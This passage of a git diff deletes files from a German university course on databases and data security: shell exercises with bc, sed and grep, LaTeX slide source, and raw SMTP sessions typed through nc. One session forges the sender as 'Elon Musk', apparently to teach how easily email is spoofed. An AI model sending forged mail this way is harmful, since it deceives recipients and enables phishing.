-50895838472292353455946452121583165775147129870822590929265563883665\ -11206819438369041162526687100445602437042006637090019411855571604720\ -44643696932850060046928140507119069261393993902735534545567470314903\ -88602202463994826050176243196930564066636662609020704888743889890749\ -81528654443818629173829010518208699363826618683039152732645812867828\ -06601337500096593364625146091723180312930347877421234679118454791311\ -10989779464821692250562939995679348380169915743970053754213448587458\ -68560472867510654233418938390991105864655951136460610551568385412174\ -59801807133163612573079611168343863767667307354583494789788316330129\ -24080083635682593915711313097803051644171668251834657367593419808495\ -89479409832925000863897785634946932124734261030627137450772861569225\ -96628573857905533240641849018451328284632709269753830867308409142247\ -65947443997334813081098639941737978965701068702673416196719659159958\ -85378348229882701256058423655895396903064749655841479813109971575420\ -43256395776070485100881578291408250777738559790129129407309462785944\ -50585941227319481275322515232480150346651904822896140664689030510251\ -09162377704484862302294889667113805556079566207324493733740278367673\ -00203011615227008921843515652121379215748206859356920790214502277133\ -09998772945959695281704458218195608096581170279806266989120506156074\ -23256868422713062950098644218534708104071289176469065508361299166947\ -78023822502789667843489199409657361704586786242554006942516693979292\ -62471452494540885842272615375526007190433632919637577750217600519580\ -06938476357895868784895368721228985578068265181927036320994801558744\ -55575175312736471421295536494084385586615208012115079075068553344489\ -25869328385965301327204697069457154695935365857178889486233329246520\ -27358531885333709484554033365653569881725825289180566354883637437933\ -48411845580168331827676834646291995605513470039147876808640322629616\ -64156066750815371064672310846196424753749055374480531822600271021640\ -09805844975260230356400380834720531499411729657367850664214008426964\ -97103241919182121213206939769143923368374709228267738708132236680086\ -92470349158684099115309831541206356612318750430546753698323082796645\ -74176208065931772656858416818379661061449634325441117069417002226578\ -17358351259821080769101961052229263879745049019254311900620561906577\ -45241619191318753398404934397682331029846589331837301580959252282920\ -68208622303325852801192664963144413164427730032377922747123306964171\ -49945532261035475145631290668854345426869788447742981777493710117614\ -65162418361668025481529633530849084994300676365480610294009469375060\ -98455885580439704859144495844450799784970455835506854087451633164641\ -18083123079704389849190506587586425810738422420591191941674182490452\ -70028826398305795005734171148703118714283418449915345670291528010448\ -51451760553069714417613685823841027876593246626899784183196203122624\ -21177391477208004883578333569204533935953254564897028558589735505751\ -23512953654050284208102278524877660357424636667314868027948605244578\ -26736262308529782650571146248465959142102781227889414481639949738818\ -84622768244851622051817076722169863265701654316919742651230041757329\ -90447353767253684579275436541282655358185804684006936771860502007054\ -72475484008055304249518544952672472613473181747421800785746934654471\ -36036975884118029408039616746946288540679172138601225419503819704538\ -41726800639882065632879283958270851091995883944829777564715202613287\ -10895261634177071516428994879535648545535531487549781340099648544986\ -35824847690590033116961303766127923464323129706628411307427046202032\ -01336835038542536031363676357521260470742531120923340283748294945310\ -47274189692872755720276152722682833767413934256526532830684699975970\ -97750005560889932685025049212884068274139881631540456490350775871680\ -07405568572402175868543905322813377070741583075626962831695568742406\ -05277264858530506113563848519659189686495963355682169754376214307786\ -65934730450164822432964891270709898076676625671517269062058815549666\ -38257382927418208227896068448822298339481667098403902428351430681376\ -72534601260072692629694686727507943461904399966189796119287505194423\ -56402644303271737341591281496056168353988188569484045342311424613559\ -92527233006488162746672352375123431189344211888508507935816384899448\ -75447563316892138696755743027379537852625423290248810471819390372206\ -66894702204258836895840939998453560948869946833852579675161882159410\ -98162491874181336472696512398067756194791255795744647142786862405375\ -05761042042671493660849802382746805759825913310069199419046519065311\ -71908926077949119217946407355129633864523035673345588033313197080365\ -45718479155043265489955970586288828686660661802188224860214499997312\ -21641381706534801755104384066244128228036166489042573776409563264828\ -25258407669045608439490325290526337532316509087681336614242398309530\ -80654966187938194912003391948949406513239881664208008839555494223709\ -67348400726427057011650890751961553701862647974563811878561754571134\ -00473810762763014953309735174180655479112660938034311378532532883533\ -35202493436597912934128485497094682632907583019307266533778255931433\ -11109638480539408592839889077962104798479196868765399874770959127887\ -27475874439806779824968278272200926449944559380414608770641941810440\ -75826980568803894965461658798390466058764534181028990719429302177451\ -99761044950431968415034555140448209289333786573630528306199900777487\ -26922998608279053171691876578860908941817057993404890218441559791092\ -67686279659758395248392673488363474565168701616624064242424122896111\ -80106156823425393921800524834547237792199112285959141918774917938233\ -40010078128326506710281781396029120914720100947878752551263372884222\ -35386949006792766451163475810119387531965724212147603828477477457170\ -45786104173857479113019085838778901523343430130052827970385803598151\ -82929600305682612091950943737325454171056383887047528950563961029843\ -64136093564163258940813798151169333861979733982167076100460798009601\ -60248230969430438069566201232136501405495862506152825880330229083858\ -12478469315720323233601899469437647726721879376826431828382603564520\ -69946863021604887452842436359355862233350623594500289055858161127534\ -17837504559361261308526408280512138731774902002495527387345859564051\ -60830583053770732533971552620444705429573538361113677523169972740292\ -94167420442324811387507563131907827218886405337469421384216992886294\ -04796353051505607881263662064972312575790195988730411956262273437289\ -00516561111094111745277965482790471250581999077498063821559376885546\ -49882293898540829132512907647838632249478101675349169348928810420301\ -56102833861438273781609463413353835783407653143214171506558775478202\ -52454780657301342277470616744241968952613164274104695474621483756288\ -29977180418678508454696561915090869587425118443583730659095146098045\ -12474094113738999278224929833677960110153870961297497055663016373072\ -02750734759922943792393824427421186158236161317886392553095117188421\ -29850830723825972914414225157940388301135908333165185823496722125962\ -18125070581137594955250227472746743698871319266707692991990844671612\ -28738858457584622726573330753735572823951616964175198675012681745429\ -32373829414382481437713986190671665757294580780482055951188168718807\ -52129718326364421553367877512747669407901170575098195750845635652173\ -89544179875074523854455200133572033332379895074393905312918212255259\ -83379090946363020218535384885482506289771561696386071238277172562131\ -34605494017704135817319317633701363322528191275471914434509207118488\ -38366818174263342949611870091503049165339464763717766439120798347494\ -62739782217150209067019030246976215127852195614207080646163137323651\ -78539762920920255002889620129701413796400380557349492690735351459612\ -08674796547733692958773628635660143767964038430796864138563447801328\ -26128458918489852804804884418082163942397401436290348166545811445436\ -64600324906187630395023564020445307482102413668951966442213392007574\ -79128683805175150634662569391937740283512075666260829890491877287833\ -85217852279204577184696585527879044756219266399200840930207567392536\ -37356283908298175779021532021064096173732835984940666521411981838108\ -84515459772895164572131897797907491941013148368544639616904607030107\ -59681893374121757598816512700076126278916951040631585763753478742007\ -02220510708912576123616580268068158584998526314658780866168007332646\ -76830206391697203064894405628195406190685242003053463156621891327309\ -06968735318164109451428803660599522024824888671155442910472192913424\ -83464387053685086487490991788126705656653871910497218200423714927401\ -64460943459845392536706132210616533085662021188968234005752675486101\ -47699368873820958455221157192347968688816085363161586288015039594941\ -85294892270744108282071693033878180849362040182552222710109856534448\ -17207470756019245915599431072949578197878590578940052540122867517142\ -51118435643718405356302418122547326609330271039796809106493927272268\ -30354104676325913552796838377050198552346212228584105571199217317179\ -69804339317707750755627056047831779844447637560254637033369247114220\ -81551997369137197516324130274871219986340454824852457011855334267526\ -47159783107312456634298052214554941562527240289153333543493412178620\ -37007260315279870771872491234494477147909520734761385425485311552773\ -30103034247683586549609372232400715451812973269208105842409055772564\ -58036814622344931897081388971432998313476177996797124537823107037391\ -51473878692119187566700319321281896803322696594459286210607438827416\ -91946516226763254066507088107103039417886056489376981673415902592519\ -46118236429456526693722031555047002135988462927580125277154220166299\ -54863130324912311029627923723899766416803497141226527931907636326136\ -81414551637665655983978848938173308266877990196288693229659737995193\ -16211872154552873941702436698855938887933167445333631195415184040882\ -83815193421234122820030950313341050704760159987985472529190665222479\ -31971544033179483683737322082188577334162385644138070054191353024594\ -39135025545318864547962522602517629283743304651023610575835145507394\ -43339610216229675461415781127197001738611494279501411253280621254775\ -81051297208846526315809480663368767014731073354071771087661593585681\ -40982129677307591973829734414452566887708553245708889583209938234321\ -02718224114763732791357568615421252849657903335093152776925505845644\ -01055219264450531207375628774499816364633283581614033017581396735942\ -73276904489203618803867549557518068900585329272014939235005258451467\ -06982628548257883267398735220457228239290207144822219885587102896991\ -93587307427781515975762076402395124386020203259659625021257834995771\ -00856263861182338133185090146865770640106762786175837727728958927460\ -39403930337271873850536912957126715066896688493880885142943609962012\ -96675907922508227531381284985152690293170026313632894209579757795932\ -76355311620667534886513173238724387480635133145126448899675898288129\ -25480076425186586490241111127301357197181381602583178506932244007998\ -65663537154408845486639318170839573578079905973083909488180406093595\ -91909074739609044101505163217496814121007657191774837673557510007336\ -16922386537429079457803200042337452807566153042929014495780629634138\ -38355178359976470885134900485697369796523869584599459559209070905895\ -68914511414126845054621179450266117501669282602509507707782119504326\ -17383223562437601776799362796099368975191394965033358507155418436456\ -85261667424368892037103749532842592713161053783498074073915863381796\ -76584252580367372064693512486522384813416638080615057048290598906964\ -51936440018597120425723007316410009916987524260377362177763430621616\ -74488493081092990100951797454156425120482208671458684925513244426677\ -71278637282113315362243010918243912433802140462422233491535595168908\ -16288487989988273630445372432174280215755777967021666317047969728172\ -48339284101564227450727177926939992974030807277039501358154514249404\ -90265361058254093731146531049433824843797186069372144446008267980024\ -71229489405761853892203425608302697052876621377373594394224114707074\ -07290272546130735854174569141944648762435768239706570318416846754073\ -34663462936739836200040414007140542776324801327422026853936988697876\ -07009590048684650626771363070979821006557285101306601010780633743344\ -77307347865388174268123074376606664331277535646657860371519292276844\ -04582732832438082128412187761320424604649008010547314267492608269221\ -55637405486241717031027919996942645620955619816454547662045022411449\ -40474934983220680719135276798674781345820385957041346617793722853494\ -00316315995440936840895725334387029867178297703733328068017646395020\ -90023941931499115009105276821119510999063166150311585582835582607179\ -41005252858361136996130344279017381178741206128818206202326384986151\ -56564512300477929675636183457681050433417695430675380411139285537925\ -29241347339481050532025708728186307291158911335942014761872664291564\ -03637192760230628384065042544174233546454998705531872688792642410214\ -73636986254637471597443549434438997300517425251108773578863909468120\ -96673428152585919924857640488055071329814299359911463239919113959926\ -75257635900744657281019180584180734222773472139772321823177171691640\ -01088261125490933611867805757223910181861685491085008852722743742120\ -86524852372456248697662245384819298671129452945515497030585919307198\ -49710541418163696897613112674402700964866754593456705993699546450055\ -89216280479763656861333165639073957032720343891754152675009150111988\ -56872708848195531676931681272892143031376818016445477367518353497857\ -92427646335416243360112596025210950161226411034608346564823559793427\ -40568688492244587454937767521203247038030354911575448312952758919398\ -93680876327685438769557694881422844311998595700727521393176837831770\ -33913042306095899913731468456901042209516196707050642025673387344611\ -56552761759927271518776600102389447605397895169457088027287362251210\ -76224091810066700883474737605156285533943565843756271241244457651663\ -06408593950794755092046393224520253546363444479175566172596218719927\ -91865754908578529500128402290350615149373101070094461510116137124237\ -61426722541732055959202782129325725947146417224977321316381845326555\ -27960427054187149623658525245864893325414506264233788565146467060429\ -85647819684615936632889542997807225422647904006160197519750074605451\ -50060291806638271497016110987951336633771378434416194053121445291855\ -18013657555866761501937302969193207612000925506508158327550849934076\ -87972523699870235679310268041367457189566414318526790547171699629903\ -63015545645090044802789055701968328313630718997699153166679208958768\ -57229060091547291963638167359667395997571032601557192023734858052112\ -81174586100651525988838431145118948805521291457756991465775300413847\ -17124577965048175856395072895337539755822087777506072339445587895905\ -719156736 -cassini/home/peter/bo/2023ws/dbs/20231019> -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | sed -e 's/0/o/g' -2^4o96 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/o/g' -1o443888814131525o669175271o716624382579964249o4738378o3842334832839\ -539o797155745684882681193499755834o89o1o6714439262837987573438185793\ -6o7263236o878513652779459569765437o999834o36159o134383718314428o7oo1\ -18559462263763188393977127456723346843445866174968o79o87o58o37o4o712\ -84o4874o1186o9114467977783598o29oo66869389768817877859469o563o19o26o\ -94o5995794534328234693o3o26696443o59o25o1597239986771421554169383555\ -9885291486318237914434496734o878118726394964751oo189o41349oo8417o616\ -75o9366833385o551o32972o8826955o769983616369411933o15213796825837188\ -o9183365675122131849284636812555o2259983oo41234478486259567449219461\ -7o238o65o591324561o82573183538oo876o86221o283427o1976982o2313169o176\ -78oo6675195485o7992163641937o285375124784o149o715913545998279o513399\ -6115517942711o6831134o9o584272884279791554849782954323534517o6522326\ -9o613949o5987693oo212296339568778287894844o616oo7412945674919823o5o5\ -7164237715481632138o631o459o29161369267o834285644o73o4478999719o1781\ -46576347322385o267253o59899795996o9o7994692o177462481771844986745565\ -925o178329o7o47311943316555o8o756822184657174637329688491281952o3174\ -57oo244o92661691o874148385o784119298o45229818573389776481o3126o859o3\ -oo13o24134671897266732164915111316o292o781738o33436o9o2438o47o834o4o\ -315419o336 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/x/g' -1x443888814131525x669175271x716624382579964249x4738378x3842334832839\ -539x797155745684882681193499755834x89x1x6714439262837987573438185793\ -6x7263236x878513652779459569765437x999834x36159x134383718314428x7xx1\ -18559462263763188393977127456723346843445866174968x79x87x58x37x4x712\ -84x4874x1186x9114467977783598x29xx66869389768817877859469x563x19x26x\ -94x5995794534328234693x3x26696443x59x25x1597239986771421554169383555\ -9885291486318237914434496734x878118726394964751xx189x41349xx8417x616\ -75x9366833385x551x32972x8826955x769983616369411933x15213796825837188\ -x9183365675122131849284636812555x2259983xx41234478486259567449219461\ -7x238x65x591324561x82573183538xx876x86221x283427x1976982x2313169x176\ -78xx6675195485x7992163641937x285375124784x149x715913545998279x513399\ -6115517942711x6831134x9x584272884279791554849782954323534517x6522326\ -9x613949x5987693xx212296339568778287894844x616xx7412945674919823x5x5\ -7164237715481632138x631x459x29161369267x834285644x73x4478999719x1781\ -46576347322385x267253x59899795996x9x7994692x177462481771844986745565\ -925x178329x7x47311943316555x8x756822184657174637329688491281952x3174\ -57xx244x92661691x874148385x784119298x45229818573389776481x3126x859x3\ -xx13x24134671897266732164915111316x292x781738x33436x9x2438x47x834x4x\ -315419x336 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/./g' -1.443888814131525.669175271.716624382579964249.4738378.3842334832839\ -539.797155745684882681193499755834.89.1.6714439262837987573438185793\ -6.7263236.878513652779459569765437.999834.36159.134383718314428.7..1\ -18559462263763188393977127456723346843445866174968.79.87.58.37.4.712\ -84.4874.1186.9114467977783598.29..66869389768817877859469.563.19.26.\ -94.5995794534328234693.3.26696443.59.25.1597239986771421554169383555\ -9885291486318237914434496734.878118726394964751..189.41349..8417.616\ -75.9366833385.551.32972.8826955.769983616369411933.15213796825837188\ -.9183365675122131849284636812555.2259983..41234478486259567449219461\ -7.238.65.591324561.82573183538..876.86221.283427.1976982.2313169.176\ -78..6675195485.7992163641937.285375124784.149.715913545998279.513399\ -6115517942711.6831134.9.584272884279791554849782954323534517.6522326\ -9.613949.5987693..212296339568778287894844.616..7412945674919823.5.5\ -7164237715481632138.631.459.29161369267.834285644.73.4478999719.1781\ -46576347322385.267253.59899795996.9.7994692.177462481771844986745565\ -925.178329.7.47311943316555.8.756822184657174637329688491281952.3174\ -57..244.92661691.874148385.784119298.45229818573389776481.3126.859.3\ -..13.24134671897266732164915111316.292.781738.33436.9.2438.47.834.4.\ -315419.336 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/./g' | grep 42 -1.443888814131525.669175271.716624382579964249.4738378.3842334832839\ -6.7263236.878513652779459569765437.999834.36159.134383718314428.7..1\ -94.5995794534328234693.3.26696443.59.25.1597239986771421554169383555\ -7.238.65.591324561.82573183538..876.86221.283427.1976982.2313169.176\ -6115517942711.6831134.9.584272884279791554849782954323534517.6522326\ -7164237715481632138.631.459.29161369267.834285644.73.4478999719.1781\ -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/./g' | grep 42 | wc -l -6 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/./g' | grep -o 4242 -42 -42 -42 -42 -42 -42 -42 -42 -42 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/./g' | grep -o "[0-9]*" -1 -443888814131525 -669175271 -716624382579964249 -4738378 -3842334832839 -539 -797155745684882681193499755834 -89 -1 -6714439262837987573438185793 -6 -7263236 -878513652779459569765437 -999834 -36159 -134383718314428 -7 -1 -18559462263763188393977127456723346843445866174968 -79 -87 -58 -37 -4 -712 -84 -4874 -1186 -9114467977783598 -29 -66869389768817877859469 -563 -19 -26 -94 -5995794534328234693 -3 -26696443 -59 -25 -1597239986771421554169383555 -9885291486318237914434496734 -878118726394964751 -189 -41349 -8417 -616 -75 -9366833385 -551 -32972 -8826955 -769983616369411933 -15213796825837188 -9183365675122131849284636812555 -2259983 -41234478486259567449219461 -7 -238 -65 -591324561 -82573183538 -876 -86221 -283427 -1976982 -2313169 -176 -78 -6675195485 -7992163641937 -285375124784 -149 -715913545998279 -513399 -6115517942711 -6831134 -9 -584272884279791554849782954323534517 -6522326 -9 -613949 -5987693 -212296339568778287894844 -616 -7412945674919823 -5 -5 -7164237715481632138 -631 -459 -29161369267 -834285644 -73 -4478999719 -1781 -46576347322385 -267253 -59899795996 -9 -7994692 -177462481771844986745565 -925 -178329 -7 -47311943316555 -8 -756822184657174637329688491281952 -3174 -57 -244 -92661691 -874148385 -784119298 -45229818573389776481 -3126 -859 -3 -13 -24134671897266732164915111316 -292 -781738 -33436 -9 -2438 -47 -834 -4 -315419 -336 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/./g' 1.443888814131525.669175271.716624382579964249.4738378.3842334832839\ -539.797155745684882681193499755834.89.1.6714439262837987573438185793\ -6.7263236.878513652779459569765437.999834.36159.134383718314428.7..1\ -18559462263763188393977127456723346843445866174968.79.87.58.37.4.712\ -84.4874.1186.9114467977783598.29..66869389768817877859469.563.19.26.\ -94.5995794534328234693.3.26696443.59.25.1597239986771421554169383555\ -9885291486318237914434496734.878118726394964751..189.41349..8417.616\ -75.9366833385.551.32972.8826955.769983616369411933.15213796825837188\ -.9183365675122131849284636812555.2259983..41234478486259567449219461\ -7.238.65.591324561.82573183538..876.86221.283427.1976982.2313169.176\ -78..6675195485.7992163641937.285375124784.149.715913545998279.513399\ -6115517942711.6831134.9.584272884279791554849782954323534517.6522326\ -9.613949.5987693..212296339568778287894844.616..7412945674919823.5.5\ -7164237715481632138.631.459.29161369267.834285644.73.4478999719.1781\ -46576347322385.267253.59899795996.9.7994692.177462481771844986745565\ -925.178329.7.47311943316555.8.756822184657174637329688491281952.3174\ -57..244.92661691.874148385.784119298.45229818573389776481.3126.859.3\ -..13.24134671897266732164915111316.292.781738.33436.9.2438.47.834.4.\ -315419.336 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/./g' | grep pruzzel -cassini/home/peter/bo/2023ws/dbs/20231019> echo $? -1 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^4096" | bc | sed -e 's/0/./g' | grep 137 75.9366833385.551.32972.8826955.769983616369411933.15213796825837188\ -cassini/home/peter/bo/2023ws/dbs/20231019> echo $? -0 -cassini/home/peter/bo/2023ws/dbs/20231019> if echo "2^4096" | bc | sed -e 's/0/./g' | grep 137; then echo "gefunden"; else echo "nicht gefunden"; fi -75.9366833385.551.32972.8826955.769983616369411933.15213796825837188\ -gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> if echo "2^4096" | bc | sed -e 's/0/./g' | grep 1337; then echo "gefunden"; else echo "nicht gefunden"; fi -nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> if echo "2^4096" | bc | sed -e 's/0/./g' | grep 137; then echo "gefunden"; else echo "nicht gefunden"; fi -75.9366833385.551.32972.8826955.769983616369411933.15213796825837188\ -gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> if echo "2^4096" | bc | sed -e 's/0/./g' | grep -s 137; then echo "gefunden"; else echo "nicht gefunden"; fi -75.9366833385.551.32972.8826955.769983616369411933.15213796825837188\ -gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> if echo "2^4096" | bc | sed -e 's/0/./g' | grep -q 137; then echo "gefunden"; else echo "nicht gefunden"; fi -gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> if echo "2^4096" | bc | sed -e 's/0/./g' | grep 137 > /dev/null; then echo "gefunden"; else echo "nicht gefunden"; fi -gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231026/sed-01.txt b/20231026/sed-01.txt deleted file mode 100644 index 546217e72d047f1081118ee3cfd0abd86073ccf2..0000000000000000000000000000000000000000 --- a/20231026/sed-01.txt +++ /dev/null @@ -1,6 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> grep SKripten *.tex -dbs-20231019.tex: Parameter in Shell-SKripten: -cassini/home/peter/bo/2023ws/dbs/20231019> sed -i 's/SKripten/Skripten/' *.tex -cassini/home/peter/bo/2023ws/dbs/20231019> cd ../20231026 -cassini/home/peter/bo/2023ws/dbs/20231026> sed -i 's/SKripten/Skripten/' *.tex -cassini/home/peter/bo/2023ws/dbs/20231026> diff --git a/20231026/smtp-01.txt b/20231026/smtp-01.txt deleted file mode 100644 index a54f9e860fa552fd3b5413379691444ef79d5b30..0000000000000000000000000000000000000000 --- a/20231026/smtp-01.txt +++ /dev/null @@ -1,22 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231026> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.94.2 Thu, 26 Oct 2023 12:26:53 +0200 -HELO cassini -250 mx1.gerwinski.de Hello cassini [195.37.15.82] -MAIL FROM: <peter.gerwinski@hs-bochum.de> -250 OK -RCPT TO: <peter@gerwinski.de> -250 Accepted -DATA -354 Enter message, ending with "." on a line by itself -Subject: Test - -Hallo, - -dies ist ein Test. - -Schöne Grüße! -. -250 OK id=1qvxaO-006BmH-FT -QUIT -221 mx1.gerwinski.de closing connection -cassini/home/peter/bo/2023ws/dbs/20231026> diff --git a/20231026/smtp-02.txt b/20231026/smtp-02.txt deleted file mode 100644 index 44410fc15c3dd6447fa11066320ec3801ef82a20..0000000000000000000000000000000000000000 --- a/20231026/smtp-02.txt +++ /dev/null @@ -1,25 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231026> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.94.2 Thu, 26 Oct 2023 12:30:18 +0200 -HELO cassini -250 mx1.gerwinski.de Hello cassini [195.37.15.82] -MAIL FROM: <elon.musk@hs-bochum.de> -250 OK -RCPT TO: <peter@gerwinski.de> -451-195.37.15.82 is not yet authorized to deliver mail from -451 <elon.musk@hs-bochum.de> to <peter@gerwinski.de>. Please try later. -MAIL FROM: <elon.musk@hs-bochum.de> -503 sender already given -RCPT TO: <peter@gerwinski.de> -250 Accepted -DATA -354 Enter message, ending with "." on a line by itself -From: Elon Musk <elon@musk.com> -To: Bill Gates <gates@microsoft.com> -Subject: New Job - -Hi, Bill! I'm now at hs-bochum.de! B-) CU! -. -250 OK id=1qvxeT-006C4R-Pr -QUIT -221 mx1.gerwinski.de closing connection -cassini/home/peter/bo/2023ws/dbs/20231026> diff --git a/20231026/x-01 b/20231026/x-01 deleted file mode 100755 index c5899dc5da4d4d22c97dac947b887ef0513e4026..0000000000000000000000000000000000000000 --- a/20231026/x-01 +++ /dev/null @@ -1 +0,0 @@ -#!/bin/ls -l diff --git a/20231026/x-02 b/20231026/x-02 deleted file mode 100755 index 9b3166639af0fcdef40e8e53589fe372e51e10a8..0000000000000000000000000000000000000000 --- a/20231026/x-02 +++ /dev/null @@ -1 +0,0 @@ -#!/bin/ls -l dbs-20231026.tex diff --git a/20231102/Ethernetpaket.pdf b/20231102/Ethernetpaket.pdf deleted file mode 120000 index d719bcfe0e5f0d07834626aaef69345b838c98e6..0000000000000000000000000000000000000000 --- a/20231102/Ethernetpaket.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Ethernetpaket.pdf \ No newline at end of file diff --git a/20231102/Zeichen_123.pdf b/20231102/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231102/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231102/dbs-20231102.pdf b/20231102/dbs-20231102.pdf deleted file mode 100644 index b02da615310f9e83226cff242fea6e2189152f42..0000000000000000000000000000000000000000 Binary files a/20231102/dbs-20231102.pdf and /dev/null differ diff --git a/20231102/dbs-20231102.tex b/20231102/dbs-20231102.tex deleted file mode 100644 index acb034d4eb3e3b364b3db77cfbac455c5e543907..0000000000000000000000000000000000000000 --- a/20231102/dbs-20231102.tex +++ /dev/null @@ -1,724 +0,0 @@ -% dbs-20231102.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Kurzeinführung TCP/IP - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{tikz} -\usepackage{rotating} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{2.\ November 2023} - -\definecolor{ethernet}{rgb}{0.95,0.95,0.95} -\definecolor{ip}{rgb}{0.85,0.85,1.0} -\definecolor{tcp}{rgb}{0.925,1.0,0.925} -\definecolor{data}{rgb}{1.0,0.85,0.85} - -\newcommand{\bitno}[1]{% - \begin{picture}(1,1) - \scriptsize - \put(0,0){\line(1,0){1}} - \put(0,0){\line(0,1){1}} - \put(0,1){\line(1,0){1}} - \put(1,0){\line(0,1){1}} - \put(0.5,0.5){\makebox(0,0){#1}} - \end{picture}} -\newcommand{\byteno}[1]{% - \begin{picture}(2,1) - \scriptsize - \put(0,0){\line(1,0){2}} - \put(0,0){\line(0,1){1}} - \put(0,1){\line(1,0){2}} - \put(2,0){\line(0,1){1}} - \put(1,0.5){\makebox(0,0){#1}} - \end{picture}} -\newcommand{\vbitno}[1]{% - \begin{picture}(2,3) - \scriptsize - \put(0,0){\line(1,0){2}} - \put(0,0){\line(0,1){3}} - \put(0,3){\line(1,0){2}} -% \put(2,0){\line(0,1){3}} - \put(1.6,1.5){\makebox(0,0)[r]{#1}} - \end{picture}} -\newcommand{\vqbitno}[1]{% - \begin{picture}(2,11.875) % ??? - \scriptsize - \put(0,0){\line(1,0){2}} - \put(0,0){\line(0,1){12}} - \put(0,12){\line(1,0){2}} -% \put(2,0){\line(0,1){12}} - \put(1.6,10.5){\makebox(0,0)[r]{#1}} - \end{picture}} -\newcommand{\genericbitbox}[5]{% - \begin{picture}(#1,3) - \footnotesize - \def\testl{#3} - \def\testr{#4} - \ifx\testl\testr - \put(0,0){\color{#3}\rule{#1\unitlength}{3\unitlength}} - \else - \put(0,0.0){\color{#3}\rule{#1\unitlength}{0.5\unitlength}} - \put(0,0.5){\color{#4}\rule{#1\unitlength}{2\unitlength}} - \put(0,2.5){\color{#3}\rule{#1\unitlength}{0.5\unitlength}} - \put(0,0){\color{#3}\rule{0.5\unitlength}{3\unitlength}} - \put(#1,0){\color{#3}\makebox(0,0)[br]{\rule{0.5\unitlength}{3\unitlength}}} - \fi - \put(0,0){\line(1,0){#1}} - \put(0,3){\line(1,0){#1}} - \def\testl{flex} - \def\testr{#5} - \ifx\testl\testr - \put(0,0){\line(0,1){1.2}} - \put(#1,0){\line(0,1){1.2}} - \put(0,3){\line(0,-1){1.2}} - \put(#1,3){\line(0,-1){1.2}} - \put(0,1.0){\makebox(0,0){\large\char126}} - \put(0,1.6){\makebox(0,0){\large\char126}} - \put(#1,1.0){\makebox(0,0){\large\char126}} - \put(#1,1.6){\makebox(0,0){\large\char126}} - \else - \put(0,0){\line(0,1){3}} - \put(#1,0){\line(0,1){3}} - \fi - \put(0,1.5){\makebox(0,0)[l]{\hbox to #1\unitlength{\hss#2\hss}}} - \end{picture}} -\newcommand{\bitbox}[2]{\genericbitbox{#1}{#2}{\headercolor}{\headercolor}{normal}} -\newcommand{\flexbitbox}[2]{\genericbitbox{#1}{#2}{\headercolor}{\headercolor}{flex}} -\newcommand{\databitbox}[2]{\genericbitbox{#1}{#2}{\headercolor}{\datacolor}{flex}} -\newcommand{\qbitbox}[2]{% - \begin{picture}(#1,11.875) % ??? - \footnotesize - \put(0,0){\color{\headercolor}\rule{#1\unitlength}{12\unitlength}} - \put(0,0){\line(1,0){#1}} - \put(0,12){\line(1,0){#1}} - \put(0,0){\line(0,1){12}} - \put(#1,0){\line(0,1){12}} - \put(0,6){\makebox(0,0)[l]{\hbox to #1\unitlength{\hss#2\hss}}} - \end{picture}} -\newcommand{\emptybox}[3]{% - \begin{picture}(#1,#2) - \put(0,#2){\makebox(0,0)[tl]{\footnotesize #3}} - \end{picture}} -\newcommand{\headerbox}[1]{\emptybox{2}{1}{#1}} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - 